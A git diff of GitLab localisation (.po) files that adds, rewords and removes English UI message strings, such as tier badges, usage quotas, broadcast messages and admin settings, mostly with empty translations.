msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42864,6 +43449,27 @@ msgstr ""
msgid "Thursday"
msgstr ""
+msgid "TierBadgePopover|Enhance team productivity"
+msgstr ""
+
+msgid "TierBadgePopover|Explore paid plans"
+msgstr ""
+
+msgid "TierBadgePopover|Start a free trial"
+msgstr ""
+
+msgid "TierBadgePopover|This group and all its related projects use the %{tier} GitLab tier. %{copyEnd}"
+msgstr ""
+
+msgid "TierBadgePopover|This project uses the %{tier} GitLab tier. %{copyEnd}"
+msgstr ""
+
+msgid "TierBadgePopover|Want to enhance team productivity and access advanced features like Merge Approvals, Push rules, Epics, Code Review Analytics, and Container Scanning? Try all GitLab has to offer for free for 30 days. No credit card required."
+msgstr ""
+
+msgid "TierBadge|Free"
+msgstr ""
+
msgid "Time"
msgstr ""
@@ -43267,8 +43873,8 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
-msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
-msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid "To invite more users, you can reduce the number of users in your top-level group to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your top-level group to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
msgstr[0] ""
msgstr[1] ""
@@ -43314,10 +43920,10 @@ msgstr ""
msgid "To reactivate your account, sign in to GitLab at %{gitlab_url}."
msgstr ""
-msgid "To remove the %{link_start}read-only%{link_end} state and regain write access, ask your namespace owner to reduce the number of users in your namespace to %{free_limit} users or less, or to upgrade to a paid tier which do not have user limits."
+msgid "To remove the %{link_start}read-only%{link_end} state and regain write access, ask your top-level group owner(s) to reduce the number of users in your top-level group to %{free_limit} users or less, or to upgrade to a paid tier which do not have user limits."
msgstr ""
-msgid "To remove the %{link_start}read-only%{link_end} state and regain write access, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier, which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid "To remove the %{link_start}read-only%{link_end} state and regain write access, you can reduce the number of users in your top-level group to %{free_limit} users or less. You can also upgrade to a paid tier, which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
msgstr ""
msgid "To resolve this, try to:"
@@ -43377,6 +43983,9 @@ msgstr ""
msgid "To-Do List"
msgstr ""
+msgid "To-Do list"
+msgstr ""
+
msgid "To-do item successfully marked as done."
msgstr ""
@@ -43488,7 +44097,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access to group %{which}"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43569,6 +44178,9 @@ msgstr ""
msgid "Token valid until revoked"
msgstr ""
+msgid "TokenRevocation|This Personal Access Token has been automatically revoked on detection. Consider investigating and rotating before marking this vulnerability as resolved."
+msgstr ""
+
msgid "Tokens|Scopes set the permission levels granted to the token."
msgstr ""
@@ -43865,12 +44477,6 @@ msgstr ""
msgid "Trigger|Trigger description"
msgstr ""
-msgid "Trigger|Trigger user has insufficient permissions to project"
-msgstr ""
-
-msgid "Trigger|invalid"
-msgstr ""
-
msgid "Trusted"
msgstr ""
@@ -43898,9 +44504,6 @@ msgstr ""
msgid "Try it out now"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr ""
-
msgid "Try out GitLab Pipelines"
msgstr ""
@@ -44120,6 +44723,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44300,6 +44906,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44339,6 +44948,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44372,9 +44984,6 @@ msgstr ""
msgid "Update approvers"
msgstr ""
-msgid "Update broadcast message"
-msgstr ""
-
msgid "Update failed"
msgstr ""
@@ -44576,9 +45185,6 @@ msgstr ""
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44609,15 +45215,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44675,24 +45275,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44720,9 +45308,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44741,15 +45326,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44906,6 +45485,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44918,9 +45500,6 @@ msgstr ""
msgid "Use the search bar on the top of this page"
msgstr ""
-msgid "Use this form to report to the administrator users who create spam issues, comments or behave inappropriately."
-msgstr ""
-
msgid "Use this token to validate received payloads."
msgstr ""
@@ -45031,6 +45610,9 @@ msgstr ""
msgid "User settings"
msgstr ""
+msgid "User was successfully banned."
+msgstr ""
+
msgid "User was successfully created."
msgstr ""
@@ -45142,9 +45724,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45211,10 +45790,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45415,6 +45994,9 @@ msgstr ""
msgid "Value Stream Analytics can help you determine your team’s velocity"
msgstr ""
+msgid "Value Streams Dashboard (Beta)"
+msgstr ""
+
msgid "Value might contain a variable reference"
msgstr ""
@@ -45574,6 +46156,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45586,9 +46171,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45658,6 +46240,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45752,6 +46337,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45784,6 +46372,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45796,6 +46387,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -47006,9 +47600,15 @@ msgstr ""
msgid "WorkItem|%{count} more assignees"
msgstr ""
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
msgid "WorkItem|Activity"
msgstr ""
@@ -47143,7 +47743,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47224,6 +47824,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47328,6 +47934,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47550,6 +48159,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47604,7 +48216,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47726,6 +48338,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47843,6 +48458,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48237,21 +48855,6 @@ msgstr ""
msgid "Your name"
msgstr ""
-msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
-msgstr ""
-
-msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
-msgstr ""
-
-msgid "Your namespace %{namespace_name} is over the %{free_user_limit} user limit"
-msgstr ""
-
-msgid "Your namespace is over the user and storage limits and has been placed in a read-only state."
-msgstr ""
-
-msgid "Your namespace is over the user limit and has been placed in a read-only state."
-msgstr ""
-
msgid "Your new %{accessTokenType}"
msgstr ""
@@ -48267,7 +48870,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48335,6 +48938,21 @@ msgstr[1] ""
msgid "Your subscription will expire on %{expires_on}"
msgstr ""
+msgid "Your top-level group %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
+msgid "Your top-level group %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
+msgstr ""
+
+msgid "Your top-level group %{namespace_name} is over the %{free_user_limit} user limit"
+msgstr ""
+
+msgid "Your top-level group is over the user and storage limits and has been placed in a read-only state."
+msgstr ""
+
+msgid "Your top-level group is over the user limit and has been placed in a read-only state."
+msgstr ""
+
msgid "Your update failed. You can only upload one design when dropping onto an existing design."
msgstr ""
@@ -48344,6 +48962,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -49920,6 +50541,9 @@ msgstr ""
msgid "must be a boolean value"
msgstr ""
+msgid "must be a root group."
+msgstr ""
+
msgid "must be a root namespace"
msgstr ""
@@ -49971,6 +50595,9 @@ msgstr ""
msgid "must match %{association}.project_id"
msgstr ""
+msgid "must not be an owner of the namespace"
+msgstr ""
+
msgid "must not contain commonly used combinations of words and letters"
msgstr ""
@@ -50443,6 +51070,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index 1d1fe60f062..eef211dc6cf 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr " %{start} a %{end}"
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
